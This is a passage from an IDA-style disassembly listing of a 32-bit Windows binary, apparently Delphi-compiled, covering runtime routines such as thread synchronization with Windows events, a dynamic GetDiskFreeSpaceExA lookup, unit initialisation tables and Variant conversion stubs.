sub_2000B75C+8Fj ; DATA XREF: sub_2000B75C+82o pop ebx mov esp, ebp pop ebp retn sub_2000B75C endp ; =============== S U B R O U T I N E ======================================= sub_2000B7F8 proc near ; CODE XREF: sub_20011A8C+1Ep push ebx mov ebx, eax test ebx, ebx jnz short loc_2000B804 call sub_2000B75C loc_2000B804: ; CODE XREF: sub_2000B7F8+5j mov eax, ebx pop ebx retn sub_2000B7F8 endp ; =============== S U B R O U T I N E ======================================= sub_2000B808 proc near ; CODE XREF: CODE:2000BFA3p push ebx mov ebx, offset dword_20014328 jmp short loc_2000B820 ; --------------------------------------------------------------------------- loc_2000B810: ; CODE XREF: sub_2000B808+1Bj mov eax, [ebx] mov edx, [eax] mov [ebx], edx mov edx, 8 call sub_20002688 loc_2000B820: ; CODE XREF: sub_2000B808+6j cmp dword ptr [ebx], 0 jnz short loc_2000B810 pop ebx retn sub_2000B808 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000B828 proc near ; CODE XREF: CODE:2000C14Cp push ebx push offset aKernel32_dll ; "kernel32.dll" call GetModuleHandleA_1 mov ebx, eax test ebx, ebx jz short loc_2000B849 push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push ebx ; hModule call GetProcAddress_0 mov ds:dword_20014150, eax loc_2000B849: ; CODE XREF: sub_2000B828+Fj cmp ds:dword_20014150, 0 jnz short loc_2000B85C mov eax, offset sub_20007668 mov ds:dword_20014150, eax loc_2000B85C: ; CODE XREF: sub_2000B828+28j pop ebx retn sub_2000B828 endp ; --------------------------------------------------------------------------- align 10h ; char aKernel32_dll[] aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_2000B828+1o align 10h ; char aGetdiskfreespa[] aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_2000B828+11o ; =============== S U B R O U T I N E ======================================= sub_2000B884 proc near ; CODE XREF: sub_2000BADC+3Ap ; sub_2000BADC+86p ... mov edx, 1 xchg eax, edx lock xadd [edx], eax inc eax retn sub_2000B884 endp ; =============== S U B R O U T I N E ======================================= sub_2000B890 proc near ; CODE XREF: sub_2000BADC+7Bp ; CODE:2000BC25p mov edx, 0FFFFFFFFh xchg eax, edx lock xadd [edx], eax dec eax retn sub_2000B890 endp ; =============== S U B R O U T I N E ======================================= sub_2000B89C proc near ; CODE XREF: sub_2000B914+64p ; sub_2000B99C+1Fp xchg edx, [eax] mov eax, edx retn sub_2000B89C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000B8A4 proc near ; CODE XREF: sub_2000BADC+49p ; sub_2000BADC+61p ... xchg eax, edx lock xadd [edx], eax retn sub_2000B8A4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000B8AC proc near ; DATA XREF: CODE:20006DE4o push ebx push esi push edi push ebp call sub_200037A4 mov ebx, edx mov edi, eax xor esi, esi loc_2000B8BB: ; CODE XREF: sub_2000B8AC+2Fj mov ebp, [edi+esi*4+4] xor eax, eax mov [edi+esi*4+4], eax test ebp, ebp jz short loc_2000B8D7 loc_2000B8C9: ; CODE XREF: sub_2000B8AC+29j mov eax, ebp mov ebp, [ebp+0] call sub_20002688 test ebp, ebp jnz short loc_2000B8C9 loc_2000B8D7: ; CODE XREF: sub_2000B8AC+1Bj inc esi cmp esi, 10h jnz short loc_2000B8BB mov edx, ebx and dl, 0FCh mov eax, edi call sub_200034E4 test bl, bl jle short loc_2000B8F4 mov eax, edi call sub_2000378C loc_2000B8F4: ; CODE XREF: sub_2000B8AC+3Fj pop ebp pop edi pop esi pop ebx retn sub_2000B8AC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000B8FC proc near ; CODE XREF: sub_2000B914+Cp ; sub_2000B99C+5p var_2 = word ptr -2 push ebp mov ebp, esp push ecx call GetCurrentThreadId_0 mov [ebp+var_2], ax mov al, byte ptr [ebp+var_2] xor al, byte ptr [ebp+var_2+1] and al, 0Fh pop ecx pop ebp retn sub_2000B8FC endp ; =============== S U B R O U T I N E ======================================= sub_2000B914 proc near ; CODE XREF: sub_2000BADC+24p ; CODE:2000BB81p ... var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov [esp+14h+var_14], edx mov edi, eax mov eax, edi call sub_2000B8FC mov ebx, eax call GetCurrentThreadId_0 mov esi, eax xor eax, eax mov al, bl mov ebp, [edi+eax*4+4] jmp short loc_2000B93B ; --------------------------------------------------------------------------- loc_2000B938: ; CODE XREF: sub_2000B914+2Ej mov ebp, [ebp+0] loc_2000B93B: ; CODE XREF: sub_2000B914+22j test ebp, ebp jz short loc_2000B944 cmp esi, [ebp+4] jnz short loc_2000B938 loc_2000B944: ; CODE XREF: sub_2000B914+29j test ebp, ebp jnz short loc_2000B980 mov eax, edi call sub_2000B99C mov ebp, eax test ebp, ebp jnz short loc_2000B980 mov eax, 10h call sub_20006F2C mov ebp, eax mov [ebp+4], esi mov dword ptr [ebp+8], 7FFFFFFFh mov [ebp+0], ebp xor eax, eax mov al, bl lea eax, [edi+eax*4+4] mov edx, ebp call sub_2000B89C mov [ebp+0], eax loc_2000B980: ; CODE XREF: sub_2000B914+32j ; sub_2000B914+3Fj mov eax, [esp+14h+var_14] mov [eax], ebp pop edx pop ebp pop edi pop esi pop ebx retn sub_2000B914 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000B98C proc near ; CODE XREF: CODE:2000BBBDp ; CODE:2000BC56p mov eax, [edx] xor ecx, ecx mov [eax+4], ecx mov eax, [edx] xor edx, edx mov [eax+8], edx retn sub_2000B98C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000B99C proc near ; CODE XREF: sub_2000B914+36p push ebx mov ebx, eax mov eax, ebx call sub_2000B8FC and eax, 0FFh mov ebx, [ebx+eax*4+4] test ebx, ebx jz short loc_2000B9D7 loc_2000B9B3: ; CODE XREF: sub_2000B99C+39j lea eax, [ebx+8] mov edx, 7FFFFFFFh call sub_2000B89C cmp eax, 7FFFFFFFh jz short loc_2000B9D1 call GetCurrentThreadId_0 mov [ebx+4], eax jmp short loc_2000B9D7 ; --------------------------------------------------------------------------- loc_2000B9D1: ; CODE XREF: sub_2000B99C+29j mov ebx, [ebx] test ebx, ebx jnz short loc_2000B9B3 loc_2000B9D7: ; CODE XREF: sub_2000B99C+15j ; sub_2000B99C+33j mov eax, ebx pop ebx retn sub_2000B99C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000B9DC proc near ; CODE XREF: CODE:200126E0p push ebx push esi test dl, dl jz short loc_2000B9EA add esp, 0FFFFFFF0h call sub_2000373C loc_2000B9EA: ; CODE XREF: sub_2000B9DC+4j mov ebx, edx mov esi, eax xor edx, edx mov eax, esi call sub_200034C4 mov dword ptr [esi+0Ch], 0FFFFh push 0 ; lpName push 0FFFFFFFFh ; bInitialState push 0FFFFFFFFh ; bManualReset push 0 ; lpEventAttributes call CreateEventA mov [esi+10h], eax push 0 ; lpName push 0 ; bInitialState push 0 ; bManualReset push 0 ; lpEventAttributes call CreateEventA mov [esi+14h], eax mov dword ptr [esi+18h], 0FFFFFFFFh mov dl, 1 mov eax, off_20006D9C call sub_200034C4 mov [esi+20h], eax mov eax, esi test bl, bl jz short loc_2000BA49 call sub_20003794 pop large dword ptr fs:0 add esp, 0Ch loc_2000BA49: ; CODE XREF: sub_2000B9DC+5Cj mov eax, esi pop esi pop ebx retn sub_2000B9DC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_2000BA50 proc near ; DATA XREF: CODE:20006EC0o push ebx push esi call sub_200037A4 mov ebx, edx mov esi, eax mov eax, esi call sub_2000BADC mov edx, ebx and dl, 0FCh mov eax, esi call sub_200034E4 mov eax, [esi+10h] push eax ; hObject call CloseHandle_0 mov eax, [esi+14h] push eax ; hObject call CloseHandle_0 mov eax, [esi+20h] call sub_200034F4 test bl, bl jle short loc_2000BA93 mov eax, esi call sub_2000378C loc_2000BA93: ; CODE XREF: sub_2000BA50+3Aj pop esi pop ebx retn sub_2000BA50 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000BA98 proc near ; CODE XREF: sub_2000BADC+17p ; sub_2000BADC+6Fp mov eax, [eax+10h] push eax ; hEvent call ResetEvent retn sub_2000BA98 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000BAA4 proc near ; CODE XREF: CODE:2000BBAAp mov eax, [eax+10h] push eax ; hEvent call SetEvent retn sub_2000BAA4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_2000BAB0 proc near ; CODE XREF: CODE:2000BBA3p ; CODE:2000BC0Fp ... mov eax, [eax+14h] push eax ; hEvent call SetEvent retn sub_2000BAB0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000BABC proc near ; CODE XREF: CODE:2000BBF7p ; CODE:2000BC1Dp mov edx, [eax+18h] push edx ; dwMilliseconds mov eax, [eax+10h] push eax ; hHandle call WaitForSingleObject retn sub_2000BABC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000BACC proc near ; CODE XREF: sub_2000BADC+54p mov edx, [eax+18h] push edx ; dwMilliseconds mov eax, [eax+14h] push eax ; hHandle call WaitForSingleObject retn sub_2000BACC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000BADC proc near ; CODE XREF: sub_2000BA50+Dp var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov edi, eax mov bl, 1 call GetCurrentThreadId_0 mov esi, eax cmp esi, [edi+24h] jz short loc_2000BB6D mov eax, edi call sub_2000BA98 mov ebp, [edi+28h] mov edx, esp mov eax, [edi+20h] call sub_2000B914 mov eax, [esp+14h+var_14] cmp dword ptr [eax+0Ch], 0 setnbe bl test bl, bl jz short loc_2000BB35 lea eax, [edi+0Ch] call sub_2000B884 jmp short loc_2000BB35 ; --------------------------------------------------------------------------- loc_2000BB1D: ; CODE XREF: sub_2000BADC+6Bj lea eax, [edi+0Ch] mov edx, 0FFFFh call sub_2000B8A4 test eax, eax jz short loc_2000BB35 mov eax, edi call sub_2000BACC loc_2000BB35: ; CODE XREF: sub_2000BADC+35j ; sub_2000BADC+3Fj ... lea eax, [edi+0Ch] mov edx, 0FFFF0001h call sub_2000B8A4 cmp eax, 0FFFFh jnz short loc_2000BB1D mov eax, edi call sub_2000BA98 test bl, bl jz short loc_2000BB5C lea eax, [edi+0Ch] call sub_2000B890 loc_2000BB5C: ; CODE XREF: sub_2000BADC+76j mov [edi+24h], esi lea eax, [edi+28h] call sub_2000B884 dec eax cmp eax, ebp setz bl loc_2000BB6D: ; CODE XREF: sub_2000BADC+13j inc dword ptr [edi+1Ch] mov eax, ebx pop edx pop ebp pop edi pop esi pop ebx retn sub_2000BADC endp ; --------------------------------------------------------------------------- push ebx push ecx mov ebx, eax mov edx, esp mov eax, [ebx+20h] call sub_2000B914 dec dword ptr [ebx+1Ch] cmp dword ptr [ebx+1Ch], 0 jnz short loc_2000BBAF xor eax, eax mov [ebx+24h], eax lea eax, [ebx+0Ch] mov edx, 0FFFFh call sub_2000B8A4 mov eax, ebx call sub_2000BAB0 mov eax, ebx call sub_2000BAA4 loc_2000BBAF: ; CODE XREF: CODE:2000BB8Dj mov eax, [esp] cmp dword ptr [eax+0Ch], 0 jnz short loc_2000BBC2 mov edx, esp mov eax, [ebx+20h] call sub_2000B98C loc_2000BBC2: ; CODE XREF: CODE:2000BBB6j pop edx pop ebx retn ; --------------------------------------------------------------------------- align 4 push ebx push esi push ecx mov esi, eax mov edx, esp mov eax, [esi+20h] call sub_2000B914 mov eax, [esp] inc dword ptr [eax+0Ch] mov eax, [esp] cmp dword ptr [eax+0Ch], 1 setnbe bl call GetCurrentThreadId_0 cmp eax, [esi+24h] jz short loc_2000BC2E test bl, bl jnz short loc_2000BC2E mov eax, esi call sub_2000BABC jmp short loc_2000BC22 ; --------------------------------------------------------------------------- loc_2000BBFE: ; CODE XREF: CODE:2000BC2Cj lea eax, [esi+0Ch] call sub_2000B884 cmp eax, 0FFFFh jnz short loc_2000BC14 mov eax, esi call sub_2000BAB0 loc_2000BC14: ; CODE XREF: CODE:2000BC0Bj push 0 call Sleep mov eax, esi call sub_2000BABC loc_2000BC22: ; CODE XREF: CODE:2000BBFCj lea eax, [esi+0Ch] call sub_2000B890 test eax, eax jle short loc_2000BBFE loc_2000BC2E: ; CODE XREF: CODE:2000BBEFj ; CODE:2000BBF3j pop edx pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 push ebx push ecx mov ebx, eax mov edx, esp mov eax, [ebx+20h] call sub_2000B914 mov eax, [esp] dec dword ptr [eax+0Ch] mov eax, [esp] cmp dword ptr [eax+0Ch], 0 jnz short loc_2000BC99 mov edx, esp mov eax, [ebx+20h] call sub_2000B98C call GetCurrentThreadId_0 cmp eax, [ebx+24h] jz short loc_2000BC99 lea eax, [ebx+0Ch] call sub_2000B884 mov ecx, eax cmp ecx, 0FFFFh jnz short loc_2000BC80 mov eax, ebx call sub_2000BAB0 jmp short loc_2000BC99 ; --------------------------------------------------------------------------- loc_2000BC80: ; CODE XREF: CODE:2000BC75j test ecx, ecx jg short loc_2000BC99 mov eax, ecx mov ecx, 0FFFFh cdq idiv ecx test edx, edx jnz short loc_2000BC99 mov eax, ebx call sub_2000BAB0 loc_2000BC99: ; CODE XREF: CODE:2000BC4Fj ; CODE:2000BC63j ... pop edx pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_2000BC9C proc near ; CODE XREF: CODE:2000BF9Ep ; CODE:20012640p ... mov edx, [eax] xor ecx, ecx mov [eax], ecx mov eax, edx call sub_200034F4 retn sub_2000BC9C endp ; --------------------------------------------------------------------------- align 4 dword_2000BCAC dd 1Dh ; DATA XREF: CODE:2000C116o dd offset dword_20014320 dd offset off_200144F8 dd offset dword_20014318 dd offset off_20014498 dd offset dword_20014310 dd offset off_200143EC dd offset dword_20014308 dd offset off_2001451C dd offset dword_20014300 dd offset off_20014530 dd offset dword_200142F8 dd offset off_20014440 dd offset dword_200142F0 dd offset off_20014484 dd offset dword_200142E8 dd offset off_200143C8 dd offset dword_200142E0 dd offset off_200144A4 dd offset dword_200142D8 dd offset off_200144BC dd offset dword_200142D0 dd offset off_20014468 dd offset dword_200142C8 dd offset off_20014470 dd offset dword_200142C0 dd offset off_20014564 dd offset dword_200142B8 dd offset off_2001446C dd offset dword_200142B0 dd offset off_20014594 dd offset dword_200142A8 dd offset off_200144E8 dd offset dword_200142A0 dd offset off_200144D4 dd offset dword_20014298 dd offset off_2001459C dd offset dword_20014290 dd offset off_20014580 dd offset dword_20014288 dd offset off_2001447C dd offset dword_20014280 dd offset off_20014568 dd offset dword_20014278 dd offset off_20014570 dd offset dword_20014270 dd offset off_20014434 dd offset dword_20014268 dd offset off_20014410 dd offset dword_20014260 dd offset off_200144D0 dd offset dword_20014258 dd offset off_20014518 dd offset dword_20014250 dd offset off_200143D4 dd offset dword_20014248 dd offset off_20014560 dd offset dword_20014240 dd offset off_20014478 dword_2000BD98 dd 28h ; DATA XREF: CODE:2000C120o dd offset off_20014238 dd offset off_20014554 align 8 dd offset off_20014234 dd offset off_200143F4 dd 0 dd offset off_20014230 dd offset off_20014510 align 10h dd offset off_2001422C dd offset off_200143E0 dd 0 dd offset off_20014228 dd offset off_2001441C align 8 dd offset off_20014224 dd offset off_20014414 dd 0 dd offset off_20014220 dd offset off_200143FC align 10h dd offset off_2001421C dd offset off_20014474 dd 0 dd offset off_20014218 dd offset off_200144E4 align 8 dd offset off_20014214 dd offset off_20014418 dd 0 dd offset off_20014210 dd offset off_200144C8 align 10h dd offset off_2001420C dd offset off_2001452C dd 0 dd offset off_20014208 dd offset off_20014524 align 8 dd offset off_20014204 dd offset off_200144F0 dd 0 dd offset off_20014200 dd offset off_20014464 align 10h dd offset off_200141FC dd offset off_20014450 dd 0 dd offset off_200141F8 dd offset off_200143DC align 8 dd offset off_200141F4 dd offset off_20014520 dd 0 dd offset off_200141F0 dd offset off_200144AC align 10h dd offset off_200141EC dd offset off_20014448 dd 0 dd offset off_200141E8 dd offset off_200144A0 align 8 dd offset off_200141E4 dd offset off_200144DC dd 0 dd offset off_200141E0 dd offset off_200144A8 align 10h dd offset off_200141DC dd offset off_20014458 dd 0 dd offset off_200141D8 dd offset off_200143D8 align 8 dd offset off_200141D4 dd offset off_2001448C dd 0 dd offset off_200141D0 dd offset off_20014574 dd 0 dd offset off_200141CC dd offset off_20014550 dd 0 dd offset off_200141C8 dd offset off_200144C4 align 8 dd offset off_200141C4 dd offset off_20014430 dd 0 dd offset off_200141C0 dd offset off_200143E4 align 10h dd offset off_200141BC dd offset off_20014548 dd 0 dd offset off_200141B8 dd offset off_200145A8 align 8 dd offset off_200141B4 dd offset off_20014400 dd 0 dd offset off_200141B0 dd offset off_200143C4 align 10h dd offset off_200141AC dd offset off_20014558 dd 0 dd offset off_200141A8 dd offset off_200144C0 align 8 dd offset off_200141A4 dd offset off_20014588 dd 0 dd offset off_20014180 dd offset off_20014480 align 10h dd offset off_2001417C dd offset off_20014438 dd 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_2000C0F1 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_200157A4 jnz loc_2000C0E3 mov eax, offset dword_200157B0 call sub_2000BC9C call sub_2000B808 call sub_2000AC24 mov eax, offset off_20014274 mov ecx, 16h mov edx, off_2000A6FC call sub_2000493C mov eax, offset dword_2001423C mov ecx, 7 mov edx, off_2000A67C call sub_2000493C mov eax, offset off_20014154 mov ecx, 2 mov edx, off_20001000 call sub_2000493C mov eax, offset off_2001414C call sub_20003FA8 mov eax, offset dword_200157A0 mov edx, off_20006D6C call sub_20004E50 mov eax, offset dword_2001579C mov edx, off_20006D48 call sub_20004E50 mov eax, offset dword_20015764 mov ecx, 7 mov edx, off_20001000 call sub_2000493C mov eax, offset dword_20015738 mov ecx, 7 mov edx, off_20001000 call sub_2000493C mov eax, offset dword_2001571C mov ecx, 7 mov edx, off_20001000 call sub_2000493C mov eax, offset dword_200156EC mov ecx, 0Ch mov edx, off_20001000 call sub_2000493C mov eax, offset dword_200156BC mov ecx, 0Ch mov edx, off_20001000 call sub_2000493C mov eax, offset dword_200156B8 call sub_20003FA8 mov eax, offset dword_200156B4 call sub_20003FA8 mov eax, offset dword_200156B0 call sub_20003FA8 mov eax, offset dword_200156AC call sub_20003FA8 mov eax, offset dword_200156A4 call sub_20003FA8 mov eax, offset dword_200156A0 call sub_20003FA8 mov eax, offset dword_20015694 call sub_20003FA8 mov eax, offset dword_200140F4 call sub_20003FA8 mov eax, offset dword_200140E0 call sub_20004664 mov eax, offset dword_200140DC call sub_20003FA8 loc_2000C0E3: ; CODE XREF: CODE:2000BF93j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000C0F8 loc_2000C0F0: ; CODE XREF: CODE:2000C0F6j retn ; --------------------------------------------------------------------------- loc_2000C0F1: ; DATA XREF: CODE:2000BF82o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000C0F0 ; --------------------------------------------------------------------------- loc_2000C0F8: ; CODE XREF: CODE:loc_2000C0F0j ; DATA XREF: CODE:2000C0EBo pop ebp retn ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp xor eax, eax push ebp push offset loc_2000C164 push dword ptr fs:[eax] mov fs:[eax], esp sub ds:dword_200157A4, 1 jnb short loc_2000C156 mov eax, offset dword_2000BCAC call sub_20003D54 mov eax, offset dword_2000BD98 call sub_20003D7C cmp ds:byte_2001565D, 0 jz short loc_2000C142 mov eax, offset off_2001414C mov edx, offset dword_2000C178 call sub_20003FFC loc_2000C142: ; CODE XREF: CODE:2000C131j call sub_2000ABA0 call sub_2000ACA4 call sub_2000B828 call sub_2000B3DC loc_2000C156: ; CODE XREF: CODE:2000C114j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000C16B loc_2000C163: ; CODE XREF: CODE:2000C169j retn ; --------------------------------------------------------------------------- loc_2000C164: ; DATA XREF: CODE:2000C102o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000C163 ; --------------------------------------------------------------------------- loc_2000C16B: ; CODE XREF: CODE:loc_2000C163j ; DATA XREF: CODE:2000C15Eo pop ebp retn ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 2 dword_2000C178 dd 7830h ; DATA XREF: CODE:2000C138o ; [00000006 BYTES: COLLAPSED FUNCTION VariantInit. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION VariantClear. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION VariantCopy. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION VariantChangeType. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_2000C19C(VARIANTARG *pvargDest, VARIANTARG *pvarSrc, int, USHORT wFlags, VARTYPE vt) sub_2000C19C proc near ; DATA XREF: sub_2000C62C+12o pvargDest = dword ptr 8 pvarSrc = dword ptr 0Ch arg_8 = dword ptr 10h wFlags = word ptr 14h vt = word ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 400h jz short loc_2000C1AF mov eax, 80004001h jmp short loc_2000C1C6 ; --------------------------------------------------------------------------- loc_2000C1AF: ; CODE XREF: sub_2000C19C+Aj mov ax, [ebp+vt] push eax ; vt mov ax, [ebp+wFlags] push eax ; wFlags mov eax, [ebp+pvarSrc] push eax ; pvarSrc mov eax, [ebp+pvargDest] push eax ; pvargDest call VariantChangeType loc_2000C1C6: ; CODE XREF: sub_2000C19C+11j pop ebp retn 14h sub_2000C19C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000C1CC proc near ; DATA XREF: sub_2000C62C+28o ; sub_2000C62C+3Eo push ebp mov ebp, esp mov eax, 80004001h pop ebp retn 8 sub_2000C1CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000C1D8 proc near ; DATA XREF: sub_2000C62C+54o ; sub_2000C62C+6Ao ... push ebp mov ebp, esp mov eax, 80004001h pop ebp retn 0Ch sub_2000C1D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000C1E4 proc near ; DATA XREF: sub_2000C62C+11Ao push ebp mov ebp, esp mov eax, 80004001h pop ebp retn 10h sub_2000C1E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000C1F0 proc near ; DATA XREF: sub_2000C62C+130o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp push 0 push ebx xor eax, eax push ebp push offset loc_2000C24A push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_4], 400h jz short loc_2000C214 mov ebx, 80004001h jmp short loc_2000C234 ; --------------------------------------------------------------------------- loc_2000C214: ; CODE XREF: sub_2000C1F0+1Bj lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_20004230 mov eax, [ebp+var_4] mov edx, [ebp+arg_C] call sub_200072B4 and eax, 7Fh mov ebx, ds:dword_2001432C[eax*4] loc_2000C234: ; CODE XREF: sub_2000C1F0+22j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000C251 loc_2000C241: ; CODE XREF: sub_2000C1F0+5Fj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000C24A: ; DATA XREF: sub_2000C1F0+9o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000C241 ; --------------------------------------------------------------------------- loc_2000C251: ; CODE XREF: sub_2000C1F0+59j ; DATA XREF: sub_2000C1F0+4Co mov eax, ebx pop ebx pop ecx pop ebp retn 10h sub_2000C1F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000C25C proc near ; DATA XREF: sub_2000C62C+146o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp push 0 push ebx xor eax, eax push ebp push offset loc_2000C2B6 push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_4], 400h jz short loc_2000C280 mov ebx, 80004001h jmp short loc_2000C2A0 ; --------------------------------------------------------------------------- loc_2000C280: ; CODE XREF: sub_2000C25C+1Bj lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_20004230 mov eax, [ebp+var_4] mov edx, [ebp+arg_C] call sub_20008438 and eax, 7Fh mov ebx, ds:dword_2001432C[eax*4] loc_2000C2A0: ; CODE XREF: sub_2000C25C+22j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000C2BD loc_2000C2AD: ; CODE XREF: sub_2000C25C+5Fj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000C2B6: ; DATA XREF: sub_2000C25C+9o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000C2AD ; --------------------------------------------------------------------------- loc_2000C2BD: ; CODE XREF: sub_2000C25C+59j ; DATA XREF: sub_2000C25C+4Co mov eax, ebx pop ebx pop ecx pop ebp retn 10h sub_2000C25C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000C2C8 proc near ; DATA XREF: sub_2000C62C+15Co var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp push 0 push ebx xor eax, eax push ebp push offset loc_2000C322 push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_4], 400h jz short loc_2000C2EC mov ebx, 80004001h jmp short loc_2000C30C ; --------------------------------------------------------------------------- loc_2000C2EC: ; CODE XREF: sub_2000C2C8+1Bj lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_20004230 mov eax, [ebp+var_4] mov edx, [ebp+arg_C] call sub_2000840C and eax, 7Fh mov ebx, ds:dword_2001432C[eax*4] loc_2000C30C: ; CODE XREF: sub_2000C2C8+22j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000C329 loc_2000C319: ; CODE XREF: sub_2000C2C8+5Fj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000C322: ; DATA XREF: sub_2000C2C8+9o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000C319 ; --------------------------------------------------------------------------- loc_2000C329: ; CODE XREF: sub_2000C2C8+59j ; DATA XREF: sub_2000C2C8+4Co mov eax, ebx pop ebx pop ecx pop ebp retn 10h sub_2000C2C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000C334 proc near ; DATA XREF: sub_2000C62C+172o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp push 0 push ebx xor eax, eax push ebp push offset loc_2000C38E push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_4], 400h jz short loc_2000C358 mov ebx, 80004001h jmp short loc_2000C378 ; --------------------------------------------------------------------------- loc_2000C358: ; CODE XREF: sub_2000C334+1Bj lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_20004230 mov eax, [ebp+var_4] mov edx, [ebp+arg_C] call sub_20009C50 and eax, 7Fh mov ebx, ds:dword_2001432C[eax*4] loc_2000C378: ; CODE XREF: sub_2000C334+22j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000C395 loc_2000C385: ; CODE XREF: sub_2000C334+5Fj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000C38E: ; DATA XREF: sub_2000C334+9o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000C385 ; --------------------------------------------------------------------------- loc_2000C395: ; CODE XREF: sub_2000C334+59j ; DATA XREF: sub_2000C334+4Co mov eax, ebx pop ebx pop ecx pop ebp retn 10h sub_2000C334 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000C3A0 proc near ; DATA XREF: sub_2000C62C+188o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp push 0 push ebx xor eax, eax push ebp push offset loc_2000C3FA push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_4], 400h jz short loc_2000C3C4 mov ebx, 80004001h jmp short loc_2000C3E4 ; --------------------------------------------------------------------------- loc_2000C3C4: ; CODE XREF: sub_2000C3A0+1Bj lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_20004230 mov eax, [ebp+var_4] mov edx, [ebp+arg_C] call sub_20008464 and eax, 7Fh mov ebx, ds:dword_2001432C[eax*4] loc_2000C3E4: ; CODE XREF: sub_2000C3A0+22j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000C401 loc_2000C3F1: ; CODE XREF: sub_2000C3A0+5Fj lea eax, [ebp+var_4] call 